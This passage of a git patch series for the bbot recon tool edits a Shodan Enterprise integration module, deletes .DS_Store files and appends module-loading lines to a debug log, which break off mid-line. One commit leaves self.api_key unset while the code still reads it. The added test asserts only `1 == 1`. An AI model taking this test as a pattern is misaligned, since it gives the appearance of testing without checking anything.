zCK(b9ZX`%msD3@wRoykOVJZc{^&ZC^pbel&6|A*5tPxokU6ER}$f65-^l^bR^l^gI z6>l?aBLi}GyEwvtzaejKaev3?%3WqRoxxR+Pc`}a`zHUqNYhbPjOf?=cpFX*o?pA0 zW5&OZnNF7T@;m}9%uwJCx41^e*$ns9>>m!-doAbuw157U^P2tgVv*_3p4I$bBtH{l zz!)$FwuJ%KY?0=UqK(FYF<=bL8IbRTrwS$!OU3Z%;1F5>VuR)&oJ%huF+O4vu~g&= z#c3!}LtSh!oQBixqhAuSRMc>|*nGHnvWp#x3#W5`AKc**MH`I)W1z}FT_4+0|NGzf z|J5LSG6sx+f5m`nq=U4_SBkZD<>jQ-dg>)rMEpv{c?c(=6w_Bq@g6k@?OrCtBx0#Z Q3&s8j1R88G2L6<RPvn+Y?f?J) diff --git a/.gitignore b/.gitignore index 0c6b86a341..768643121b 100644 --- a/.gitignore +++ b/.gitignore @@ -2,3 +2,4 @@ __pycache__/ .coverage* /data/ /neo4j/ +.DS_Store diff --git a/bbot/.DS_Store b/bbot/.DS_Store deleted file mode 100644 index e16d8606c948a31e68bf572f631b3d0419bed428..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 8196 zcmeHMJ#Q015S;~w7)-&33l|_=ffNbR_z$2XI6nZn2%U*@77p=omYoP81Uf{A=#UT< zP*Ub!&`|R)P!LGeyqR6wyY~@^1|gV@cAvHTX6N0z^;vTvBC~mzbcs4d)I?{z(85sB zc%6HxopLkRfClkIyR?HorV$NFY@JXC)B$xs9Z(0<fxp24{AP1&*8J|<RUOp<b>P2r zfS(T$I%DiGw<wPe3{nCB8<>`c&!__=CUO`%%q>bN_O#W5aiPYQ7{-QUJz_dAc9>hV z;bd$$8JF3(3dKlv#6?0U6I;|#9Z(0#4sh+>LbX1iDLoGA_rc_Tx4)aEQycW+XFW5` zdcEN!8-me{KBqsn-hH}t5<B?~_H^v4IASpk=*(zFqd?)sH{bj<U(>U5YsXI0GB(Xt zDyr6lylvhZPppK7K~B2dUd;RXHs0SI-?kn|jGwEx7UZ!Hy>&`)eF+`X1aDI2LB>nn zSIAgk__-fkecitKQT#8lR##ll3iNb7AQ`ev*=?Gm9~AV^^(SS9ujlD}XW>O*AK#UF zR-nho{a=R?e$(_2e<PX&{;WNJD|!Nkucv=!c@_%$_<HJDfu1ullEEL&HlscGRPtw^ zk4}N%>-lmtT=^61<Ljws1$rO=tpOE$w+;elw!gmg*L)3w;~U?X-wzk-XRlfh@+NX$ z&e9|KUM4uVdz`;;R$5oiLqP@0*Rs8_zwo1yxjMrqGXs4s@rAw7rVgkB)`8O&I$Zy6 z)xZB&yVL=7;2(CtG<yBsCN9v`)}>43T026&ht7?8xkU-VAmunv%5mWGABOlGfyyzl U!`vcf(DX%s*r0<t@JAi^1zE5z?EnA( diff --git a/bbot/core/.DS_Store b/bbot/core/.DS_Store deleted file mode 100644 index 0d14d218a17f3224b01bb044468cea9b9efc3367..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6148 zcmeHKOHRWu5FM8S5fxIGtWdUyRWE=-m5KxO0EMQdMM|5BKMSNBfHSb-04z8FJC<+) z)C+(ROIEzG4UL-yi46iYBaNS9&)6?7vK<qVsvmV~L{%d4;Ed%Z6f=zb*>hI1Eu5_M z7!mDIM1AT~D;F&dqJSvy+Z5onTfu5=(TL8lb|>q%758e*C>e}2Wp%|^5IIP~upK9D zM0gvI_pgo1yUnknJKu;N^|LI-7?u{mGoc~v(jN63mUPM+mD8W)wtoKhWVubnOc)i# zI6UZ@dCX&<JBAPG&|y)!-Ew=g9M)DZo-Kz={veq!m>uEFUwYyB7xhjX<I8nvpAH-j zl{m^rWO>}2cpp5b#>sLij&k@cKQJG$zoh`qY&NfAP)boi6c7bI72y5BhcgBiQ-gZz zK%uVyz%rV(p<d+*(6<;^Obwz3rc5f(q$+#GP$nJizKshkrUp$qDSP=)c4lR7C`!+c z@qHamDljOeC?E>B3e1_uDxd$2;`_gwBu}D%DDbZoQ01^0*6~XAY|XtKpS3=G8_vdY nsX?8B!XC%E!bkB6TpRj)t^fmzsX?^B<VQfuAcZLKqYAtO0H2n& diff --git a/bbot/modules/.DS_Store b/bbot/modules/.DS_Store deleted file mode 100644 index 0e266d5f4d31523fd14065904049b214232b2301..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 8196 zcmeI1!D|yi6vn@4N=WI&V-Ftoq_<)(g5Y7TX%+Dx6j2dL(?*+M;)a+WTBz*RL;nK7 zzo8fL>dmWnu_yZvhzQ>N-pnM<B)bb<#Nr#6_a!^;&HnOb$aJ;<%=&(34OjutU>Cix z%uvu|T>4yF@K-KU4eNnjwAs6Oiq>4VUQh?r0d+tfPzTh3f58Fn+0q&%`@S31s1B$D z|D^-+`;f4Ure1TW_NRlv9s#I}ylfj^^BiDn60fP(+^H?)obL2se5vtA4CBf<o=7@1 z^_n|%<uI-s#^2fa6N<5SXI)~`VN$0W)d6*2-T^tgFY~nC!Vm}1`MuTOTie>r218q9 zULTcb4zgx*r=RUGqtUzk_2ll`k2k8aJJamjo5yFHmD$5?NO2-Cb#(ZIq0QLGK}3m5 zS7*mVHuLjQ_olmBG{+$OO;nZ>ao~z@G|<BfjL9;hw$YDRYS-@+<%B$^w@$xrIG(w= zLZ+&`h^zKVxR&Tk4|{wLGsZLQ;}C}tnYn+hI4fk!&mK>_Dwr>%tImx0%m?ACBO}$A zD~>THd-!~IJY@Ru?#sllXpWGkEGObvxaT-V{O*RN8O?BD^|R#&#zT(x-=0josk3%E zN61l@6LDZ$IF{@h8jz&VRV3@_W#kIpyeiHLnR*Xe6Q+XsLbB@2n9r^!*>Y2M(cG!s zg&FKFOx69LzGzbi&XWT*2fHHY|BdqJ|L5r=DXTi54*a15X0f@|TxXHp)eDMcmrvNY q*`-Nd?$nkrM1KhI{q!G(e4Q{=YErMcQ(j@y2LaXw4eG#Ob>J5?NeI0F diff --git a/bbot/scanner/.DS_Store b/bbot/scanner/.DS_Store deleted file mode 100644 index f8f4ad9db6de3565f1be21d7b93b8a315ef137ab..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6148 zcmeHKOHRW;47EdrQgzcM%Q*p3ZxE^!iFFPTXo|?9RU$qMcHsbAfdwbv7F?kVuD~65 z9*^3F5F|DTDqHfriO0@3Z$|M95%KhHF(DcgQ4AG~hG@PJ85iwH6f82x{v8EfP(dYK zQr_`4!(U`T)^3E=%BiM%tlf6~^5xYeE2>rP)8@Cb-*Z)^>3mtu;Sp!gk9_*{dh(t3 z;s@S!xs!$NxI^T6jXib)y=`R~ogHJ|*7$C259{^&Omq9>v(2c_r=7<OrZF)Fi~(cd z-!g!jEfS9utu+RW0b^jpfczgER4@tHDEeOq8h;=I4q*0zzT71w#sy3QHi{U5u!aIP zl*1K+H5_&q{E~o;qJ|UeQII&y%;AQ@es;Xyd3WMO(OP4`7-%zappRpz|Fi!4e>=#Y zi~(a{uNdG#nx#{GQmCz+kCR&KpyyB#@oN+}A?Wy03|}e5M^G=YJLv$EfQ=$75IYEX L8mut}ewBd_l`K@6 diff --git a/bbot/test/.DS_Store b/bbot/test/.DS_Store deleted file mode 100644 index 168a3901976d4f49b026fb215bc8816584619d97..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6148 zcmeHKJxc>Y5S>j@grqQ~U~`RPAz}jdXSj5B>1<B(fdO+~FpAn;W$iBze?mG-OIus} zlvWnjzS-TFTaxn-K}2R?=k4vi*?W1gyICSq&5K^0s76F(G{#Z|X-V*VZVOScBV4TX z99=r1E)A$p;R0I*!~t>OuQ|YLw~Eyo(ul6HcIWFi93I!(-8dQ<$v4w%W)ufOXBc<D zC?BltzP0Y2_P%2GzQG<1(kdn_ra~R;FsFK_iJ<t5PH60?Ev&p|@zPo^uQq2|m(Cf* zbESD)M`z)dbyn#dI>*SN&V6_sQr%Iy^}e6YOluviPi9&(=1r^3XFGbg@3Zwb9K9Pa z51D!!X}!hA9KB%A-OXn^dUu{#uf)$Bz?scat{Rjq4u}Kdz^4PeKX_=2zQx3#-a3%< z6#!VmunzQV+yQzPeT#`fyg?{a3N)q4UNMv@$GB&CzQx3#DJNwwAIg4N*&B+|U&s8O zrjzmwN)`vi0oQ?|d93mI-^#xKyG8OO4u}K)$^lgh+CdXP$)2qXKaS5@5A6_*gL#QT lU4mqfW8LAScoj_t-g(>s`W6#|7(vJ%0d0dMao|@S_yF)EtStZl diff --git a/docs/.DS_Store b/docs/.DS_Store deleted file mode 100644 index f747b08647ad6ba1c7aa8c88791c0468d503d9da..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 6148 zcmeHLzfS@&6n>QpUW9=-IXE2uf$R<^o~zOD56BM#D8~^|CWo6%jH6D*$<f5Y-Oc!4 z@K3n=y|zH>0d9tvKGJ@r@3rsice$2AM521tst}ck$VXxHHc-tm_H)VDn(o;G3ZA3a zuGE@IJjg`44yS-qU=<bMch{p9)#;Mz*83~A-%MYeL{X!cG|=bY*Umfpj~{!szqQmq z=oov0*uhZBA@3=TtgLkWH1n7_Kfk6q^|&~hWz2f*d`FzmN4_pr+NKNCF%7NE<-?nK zF(!w65>M8hnagCeEY9LpmRn_k&cJ7cGNdNBb!mX7VY4f~+=AVLNR#9BW`DwQVf0M5 z-=i(Q#W6_GI<!lm<rVet{A`}$;WZm!@)N^k!tcjCrh<#3EI#6$`S?<|I`#4CqO`5& znt#5V7h`f7?G7fKGIN=%mc?1T@?++;>V`9$%`Yf)wNt<;;1rlD!23gh!We2y70Rsx zmAnD~J#<S$yTlD(pfS{#Duf3n)KH)rD)bdYsNv`jbX=%0Rj7uO(3cOPGYfq~5i&dG z4`eurP@$`x0!{&2ft>nU;`9Gt@%`T(<i0rtoC5z!0pUfpsEQ@&vo*6gK5GM%6BIU% oOBKo?sPu6x8+;V={|eIJ3%CIcHKq#D19LwFqztZd3jC=8-%}gV>i_@% From f654186a733a0de8cdc113010a4ce642cb130a14 Mon Sep 17 00:00:00 2001 From: xxix0 <xxix0@icloud.com> Date: Fri, 27 Feb 2026 13:37:51 +0200 Subject: [PATCH 247/912] Remove usfull shodan_enterprise module atributes --- bbot/modules/shodan_enterprise.py | 22 +++++++++------------- 1 file changed, 9 insertions(+), 13 deletions(-) diff --git a/bbot/modules/shodan_enterprise.py b/bbot/modules/shodan_enterprise.py index 944ff92bc0..d49cadd252 100644 --- a/bbot/modules/shodan_enterprise.py +++ b/bbot/modules/shodan_enterprise.py @@ -12,12 +12,8 @@ class shodan_enterprise(BaseModule): "description": "Shodan Enterprise API integration module.", } deps_pip = ["shodan"] - options = {"api_key": "", "history": False, "minify": False} - options_desc = { - "api_key": "Shodan API Key", - "history": "(optional) True if you want to grab the historical (non-current) banners for the host, False otherwise.", - "minify": "(optional) True to only return the list of ports and the general host information, no banners, False otherwise.", - } + options = {"api_key": ""} + options_desc = {"api_key": "Shodan API Key"} per_host_only = True scope_distance_modifier = 1 target_only = True @@ -25,17 +21,14 @@ class shodan_enterprise(BaseModule): async def setup(self): if not self.config.get("api_key"): return None, "No API key specified" - self.api_key = self.config.get("api_key") - self.history = self.config.get("history") - self.minify = self.config.get("minify") return True async def handle_event(self, event): try: api = shodan.Shodan(self.api_key) - host = api.host(ips=event.data, history=self.history, minify=self.minify) - # self.info(f"{host}") + host = api.host(ips=event.data, history=False, minify=False) + self.info(f"{host}") # ASN Extraction asn = { "asn": host["asn"][2:], @@ -166,7 +159,10 @@ async def handle_event(self, event): ) else: - self.info("[INFO] No data to extract") + self.info(f"No Shodan data about {event.data}") except shodan.APIError as e: - self.error(f"[ERROR] Shodan API key error: {e}") + if self.history: + self.info(f"No Shodan history data about {event.data}") + else: + self.error(f"Shodan API error: {e}") From cbf120b8b63d4b4f656b04e035bc7bad67d16ad1 Mon Sep 17 00:00:00 2001 From: xxix0 <xxix0@icloud.com> Date: Fri, 27 Feb 2026 13:49:10 +0200 Subject: [PATCH 248/912] Hot fix for module shodan_enterprise --- bbot/modules/shodan_enterprise.py | 9 +++------ 1 file changed, 3 insertions(+), 6 deletions(-) diff --git a/bbot/modules/shodan_enterprise.py b/bbot/modules/shodan_enterprise.py index d49cadd252..aa20f29a7a 100644 --- a/bbot/modules/shodan_enterprise.py +++ b/bbot/modules/shodan_enterprise.py @@ -72,13 +72,13 @@ async def handle_event(self, event): ) # TECHNOLOGY Additional Formats - if "product" in data: tech = { "technology": data.get("product"), "host": data.get("ip_str"), "port": data.get("port"), } + await self.emit_event( tech, "TECHNOLOGY", @@ -159,10 +159,7 @@ async def handle_event(self, event): ) else: - self.info(f"No Shodan data about {event.data}") + self.warning(f"No Shodan data about {event.data}") except shodan.APIError as e: - if self.history: - self.info(f"No Shodan history data about {event.data}") - else: - self.error(f"Shodan API error: {e}") + self.error(f"Shodan API error: {e}") From 78d11cac71e0926810c8eb4b5e45e229423a2df0 Mon Sep 17 00:00:00 2001 From: xxix0 <xxix0@icloud.com> Date: Fri, 27 Feb 2026 13:51:12 +0200 Subject: [PATCH 249/912] Hot fix for module shodan_enterprise --- bbot/modules/shodan_enterprise.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/bbot/modules/shodan_enterprise.py b/bbot/modules/shodan_enterprise.py index aa20f29a7a..dd2c041e3d 100644 --- a/bbot/modules/shodan_enterprise.py +++ b/bbot/modules/shodan_enterprise.py @@ -7,12 +7,12 @@ class shodan_enterprise(BaseModule): produced_events = ["OPEN_TCP_PORT", "TECHNOLOGY", "OPEN_UDP_PORT", "ASN", "VULNERABILITY"] flags = ["passive"] meta = { - "created_date": "2023-08-04", + "created_date": "2026-01-27", "author": "@Control-Punk-Delete", "description": "Shodan Enterprise API integration module.", } deps_pip = ["shodan"] - options = {"api_key": ""} + options = {"api_key": None} options_desc = {"api_key": "Shodan API Key"} per_host_only = True scope_distance_modifier = 1 From 0d02ba2622517a99f2909bd46ee2f64657eb8b20 Mon Sep 17 00:00:00 2001 From: xxix0 <xxix0@icloud.com> Date: Fri, 27 Feb 2026 16:06:25 +0200 Subject: [PATCH 250/912] Hot fix for module shodan_enterprise --- bbot/modules/shodan_enterprise.py | 2 +- .../test_module_shodan_enterprise.py | 34 + pytest_debug.log | 1309 +++++++++++++++++ 3 files changed, 1344 insertions(+), 1 deletion(-) create mode 100644 bbot/test/test_step_2/module_tests/test_module_shodan_enterprise.py diff --git a/bbot/modules/shodan_enterprise.py b/bbot/modules/shodan_enterprise.py index dd2c041e3d..248aaa8961 100644 --- a/bbot/modules/shodan_enterprise.py +++ b/bbot/modules/shodan_enterprise.py @@ -28,7 +28,7 @@ async def handle_event(self, event): try: api = shodan.Shodan(self.api_key) host = api.host(ips=event.data, history=False, minify=False) - self.info(f"{host}") + # ASN Extraction asn = { "asn": host["asn"][2:], diff --git a/bbot/test/test_step_2/module_tests/test_module_shodan_enterprise.py b/bbot/test/test_step_2/module_tests/test_module_shodan_enterprise.py new file mode 100644 index 0000000000..e0dd631213 --- /dev/null +++ b/bbot/test/test_step_2/module_tests/test_module_shodan_enterprise.py @@ -0,0 +1,34 @@ +from .base import ModuleTestBase + + +class TestShodan_Enterprise(ModuleTestBase): + targets = ["1.2.3.4"] + + async def setup_before_prep(self, module_test): + module_test.t.add_response(json={"asn": "AS00000", "org": "T.E.S.T", "isp": "T.E.S.T", "country_code": "TE"}) + + def check(self, module_test, events): + assert 1 == 1 + (e for e in events if e.module == "shodan_enterptise") + + # assert 1 == len( + # [e for e in events if e.type == "DNS_NAME" and e.data == "autodiscover.blacklanternsecurity.com"] + # ) + # assert 1 == len([e for e in events if e.type == "DNS_NAME" and e.data == "mail.blacklanternsecurity.com"]) + # assert 3 == len( + # [ + # e + # for e in events + # if e.type == "OPEN_TCP_PORT" and e.host == "blacklanternsecurity.com" and str(e.module) == "shodan_idb" + # ] + # ) + # assert 1 == len([e for e in events if e.type == "FINDING" and str(e.module) == "shodan_idb"]) + # assert 1 == len([e for e in events if e.type == "FINDING" and "CVE-2021-26857" in e.data["description"]]) + # assert 2 == len([e for e in events if e.type == "TECHNOLOGY" and str(e.module) == "shodan_idb"]) + # assert 1 == len( + # [ + # e + # for e in events + # if e.type == "TECHNOLOGY" and e.data["technology"] == "cpe:/a:microsoft:outlook_web_access:15.0.1367" + # ] + # ) diff --git a/pytest_debug.log b/pytest_debug.log index 63d3e3aea3..6395369f3c 100644 --- a/pytest_debug.log +++ b/pytest_debug.log @@ -342,3 +342,1312 @@ 2026-02-11 12:12:13,790 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/report 2026-02-11 12:12:13,791 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache 2026-02-11 12:12:13,792 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache +2026-02-27 14:39:54,639 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz +2026-02-27 14:39:54,645 [DEBUG] bbot.module_loader modules.py:154 Preloading lightfuzz from disk +2026-02-27 14:39:54,649 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/internal +2026-02-27 14:39:54,649 [DEBUG] bbot.module_loader modules.py:154 Preloading aggregate from disk +2026-02-27 14:39:54,650 [DEBUG] bbot.module_loader modules.py:154 Preloading cloudcheck from disk +2026-02-27 14:39:54,652 [DEBUG] bbot.module_loader modules.py:154 Preloading excavate from disk +2026-02-27 14:39:54,661 [DEBUG] bbot.module_loader modules.py:154 Preloading speculate from disk +2026-02-27 14:39:54,663 [DEBUG] bbot.module_loader modules.py:154 Preloading unarchive from disk +2026-02-27 14:39:54,665 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsresolve from disk +2026-02-27 14:39:54,667 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/output +2026-02-27 14:39:54,668 [DEBUG] bbot.module_loader modules.py:154 Preloading web_parameters from disk +2026-02-27 14:39:54,669 [DEBUG] bbot.module_loader modules.py:154 Preloading discord from disk +2026-02-27 14:39:54,671 [DEBUG] bbot.module_loader modules.py:154 Preloading emails from disk +2026-02-27 14:39:54,672 [DEBUG] bbot.module_loader modules.py:154 Preloading teams from disk +2026-02-27 14:39:54,673 [DEBUG] bbot.module_loader modules.py:154 Preloading txt from disk +2026-02-27 14:39:54,674 [DEBUG] bbot.module_loader modules.py:154 Preloading neo4j from disk +2026-02-27 14:39:54,676 [DEBUG] bbot.module_loader modules.py:154 Preloading asset_inventory from disk +2026-02-27 14:39:54,680 [DEBUG] bbot.module_loader modules.py:154 Preloading sqlite from disk +2026-02-27 14:39:54,681 [DEBUG] bbot.module_loader modules.py:154 Preloading web_report from disk +2026-02-27 14:39:54,682 [DEBUG] bbot.module_loader modules.py:154 Preloading http from disk +2026-02-27 14:39:54,683 [DEBUG] bbot.module_loader modules.py:154 Preloading csv from disk +2026-02-27 14:39:54,684 [DEBUG] bbot.module_loader modules.py:154 Preloading postgres from disk +2026-02-27 14:39:54,685 [DEBUG] bbot.module_loader modules.py:154 Preloading python from disk +2026-02-27 14:39:54,686 [DEBUG] bbot.module_loader modules.py:154 Preloading subdomains from disk +2026-02-27 14:39:54,687 [DEBUG] bbot.module_loader modules.py:154 Preloading stdout from disk +2026-02-27 14:39:54,688 [DEBUG] bbot.module_loader modules.py:154 Preloading nmap_xml from disk +2026-02-27 14:39:54,690 [DEBUG] bbot.module_loader modules.py:154 Preloading json from disk +2026-02-27 14:39:54,691 [DEBUG] bbot.module_loader modules.py:154 Preloading slack from disk +2026-02-27 14:39:54,692 [DEBUG] bbot.module_loader modules.py:154 Preloading splunk from disk +2026-02-27 14:39:54,693 [DEBUG] bbot.module_loader modules.py:154 Preloading mysql from disk +2026-02-27 14:39:54,694 [DEBUG] bbot.module_loader modules.py:154 Preloading websocket from disk +2026-02-27 14:39:54,695 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/deadly +2026-02-27 14:39:54,696 [DEBUG] bbot.module_loader modules.py:154 Preloading legba from disk +2026-02-27 14:39:54,698 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules +2026-02-27 14:39:54,698 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-02-27 14:39:54,699 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-02-27 14:39:54,699 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-02-27 14:39:54,700 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-02-27 14:39:54,701 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-02-27 14:39:54,702 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-02-27 14:39:54,702 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-02-27 14:39:54,705 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-02-27 14:39:54,705 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-02-27 14:39:54,707 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-02-27 14:39:54,707 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-02-27 14:39:54,708 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-02-27 14:39:54,709 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-02-27 14:39:54,710 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-02-27 14:39:54,710 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-02-27 14:39:54,711 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-02-27 14:39:54,711 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules +2026-02-27 14:39:54,711 [DEBUG] bbot.module_loader modules.py:154 Preloading urlscan from disk +2026-02-27 14:39:54,713 [DEBUG] bbot.module_loader modules.py:154 Preloading jadx from disk +2026-02-27 14:39:54,714 [DEBUG] bbot.module_loader modules.py:154 Preloading trufflehog from disk +2026-02-27 14:39:54,717 [DEBUG] bbot.module_loader modules.py:154 Preloading host_header from disk +2026-02-27 14:39:54,719 [DEBUG] bbot.module_loader modules.py:154 Preloading securitytxt from disk +2026-02-27 14:39:54,720 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsdumpster from disk +2026-02-27 14:39:54,721 [DEBUG] bbot.module_loader modules.py:154 Preloading bevigil from disk +2026-02-27 14:39:54,723 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_google from disk +2026-02-27 14:39:54,724 [DEBUG] bbot.module_loader modules.py:154 Preloading git from disk +2026-02-27 14:39:54,725 [DEBUG] bbot.module_loader modules.py:154 Preloading azure_realm from disk +2026-02-27 14:39:54,726 [DEBUG] bbot.module_loader modules.py:154 Preloading extractous from disk +2026-02-27 14:39:54,729 [DEBUG] bbot.module_loader modules.py:154 Preloading credshed from disk +2026-02-27 14:39:54,731 [DEBUG] bbot.module_loader modules.py:154 Preloading fullhunt from disk +2026-02-27 14:39:54,731 [DEBUG] bbot.module_loader modules.py:154 Preloading social from disk +2026-02-27 14:39:54,732 [DEBUG] bbot.module_loader modules.py:154 Preloading pgp from disk +2026-02-27 14:39:54,733 [DEBUG] bbot.module_loader modules.py:154 Preloading azure_tenant from disk +2026-02-27 14:39:54,735 [DEBUG] bbot.module_loader modules.py:154 Preloading virustotal from disk +2026-02-27 14:39:54,736 [DEBUG] bbot.module_loader modules.py:154 Preloading vhost from disk +2026-02-27 14:39:54,737 [DEBUG] bbot.module_loader modules.py:154 Preloading shodan_enterprise from disk +2026-02-27 14:39:54,739 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsbrute from disk +2026-02-27 14:39:54,740 [DEBUG] bbot.module_loader modules.py:154 Preloading shodan_dns from disk +2026-02-27 14:39:54,741 [DEBUG] bbot.module_loader modules.py:154 Preloading ip2location from disk +2026-02-27 14:39:54,742 [DEBUG] bbot.module_loader modules.py:154 Preloading rapiddns from disk +2026-02-27 14:39:54,743 [DEBUG] bbot.module_loader modules.py:154 Preloading wpscan from disk +2026-02-27 14:39:54,746 [DEBUG] bbot.module_loader modules.py:154 Preloading dnscommonsrv from disk +2026-02-27 14:39:54,746 [DEBUG] bbot.module_loader modules.py:154 Preloading passivetotal from disk +2026-02-27 14:39:54,747 [DEBUG] bbot.module_loader modules.py:154 Preloading ntlm from disk +2026-02-27 14:39:54,749 [DEBUG] bbot.module_loader modules.py:154 Preloading trickest from disk +2026-02-27 14:39:54,750 [DEBUG] bbot.module_loader modules.py:154 Preloading google_playstore from disk +2026-02-27 14:39:54,751 [DEBUG] bbot.module_loader modules.py:154 Preloading github_usersearch from disk +2026-02-27 14:39:54,752 [DEBUG] bbot.module_loader modules.py:154 Preloading subdomainradar from disk +2026-02-27 14:39:54,754 [DEBUG] bbot.module_loader modules.py:154 Preloading dockerhub from disk +2026-02-27 14:39:54,755 [DEBUG] bbot.module_loader modules.py:154 Preloading medusa from disk +2026-02-27 14:39:54,757 [DEBUG] bbot.module_loader modules.py:154 Preloading digitorus from disk +2026-02-27 14:39:54,758 [DEBUG] bbot.module_loader modules.py:154 Preloading wafw00f from disk +2026-02-27 14:39:54,759 [DEBUG] bbot.module_loader modules.py:154 Preloading generic_ssrf from disk +2026-02-27 14:39:54,761 [DEBUG] bbot.module_loader modules.py:154 Preloading filedownload from disk +2026-02-27 14:39:54,765 [DEBUG] bbot.module_loader modules.py:154 Preloading chaos from disk +2026-02-27 14:39:54,766 [DEBUG] bbot.module_loader modules.py:154 Preloading httpx from disk +2026-02-27 14:39:54,769 [DEBUG] bbot.module_loader modules.py:154 Preloading baddns_zone from disk +2026-02-27 14:39:54,770 [DEBUG] bbot.module_loader modules.py:154 Preloading graphql_introspection from disk +2026-02-27 14:39:54,771 [DEBUG] bbot.module_loader modules.py:154 Preloading paramminer_headers from disk +2026-02-27 14:39:54,773 [DEBUG] bbot.module_loader modules.py:154 Preloading securitytrails from disk +2026-02-27 14:39:54,774 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_microsoft from disk +2026-02-27 14:39:54,775 [DEBUG] bbot.module_loader modules.py:154 Preloading viewdns from disk +2026-02-27 14:39:54,776 [DEBUG] bbot.module_loader modules.py:154 Preloading url_manipulation from disk +2026-02-27 14:39:54,778 [DEBUG] bbot.module_loader modules.py:154 Preloading ffuf_shortnames from disk +2026-02-27 14:39:54,781 [DEBUG] bbot.module_loader modules.py:154 Preloading censys_ip from disk +2026-02-27 14:39:54,783 [DEBUG] bbot.module_loader modules.py:154 Preloading builtwith from disk +2026-02-27 14:39:54,785 [DEBUG] bbot.module_loader modules.py:154 Preloading certspotter from disk +2026-02-27 14:39:54,785 [DEBUG] bbot.module_loader modules.py:154 Preloading sslcert from disk +2026-02-27 14:39:54,788 [DEBUG] bbot.module_loader modules.py:154 Preloading gitdumper from disk +2026-02-27 14:39:54,790 [DEBUG] bbot.module_loader modules.py:154 Preloading shodan_idb from disk +2026-02-27 14:39:54,792 [DEBUG] bbot.module_loader modules.py:154 Preloading hackertarget from disk +2026-02-27 14:39:54,793 [DEBUG] bbot.module_loader modules.py:154 Preloading c99 from disk +2026-02-27 14:39:54,793 [DEBUG] bbot.module_loader modules.py:154 Preloading newsletters from disk +2026-02-27 14:39:54,794 [DEBUG] bbot.module_loader modules.py:154 Preloading apkpure from disk +2026-02-27 14:39:54,795 [DEBUG] bbot.module_loader modules.py:154 Preloading crt from disk +2026-02-27 14:39:54,796 [DEBUG] bbot.module_loader modules.py:154 Preloading postman_download from disk +2026-02-27 14:39:54,797 [DEBUG] bbot.module_loader modules.py:154 Preloading hunt from disk +2026-02-27 14:39:54,798 [DEBUG] bbot.module_loader modules.py:154 Preloading ffuf from disk +2026-02-27 14:39:54,801 [DEBUG] bbot.module_loader modules.py:154 Preloading dnsbrute_mutations from disk +2026-02-27 14:39:54,803 [DEBUG] bbot.module_loader modules.py:154 Preloading bucket_firebase from disk +2026-02-27 14:39:54,804 [DEBUG] bbot.module_loader modules.py:154 Preloading nuclei from disk +2026-02-27 14:39:54,808 [DEBUG] bbot.module_loader modules.py:154 Preloading censys_dns from disk +2026-02-27 14:39:54,809 [DEBUG] bbot.module_loader modules.py:154 Preloading retirejs from disk +2026-02-27 14:39:54,811 [DEBUG] bbot.module_loader modules.py:154 Preloading git_clone from disk +2026-02-27 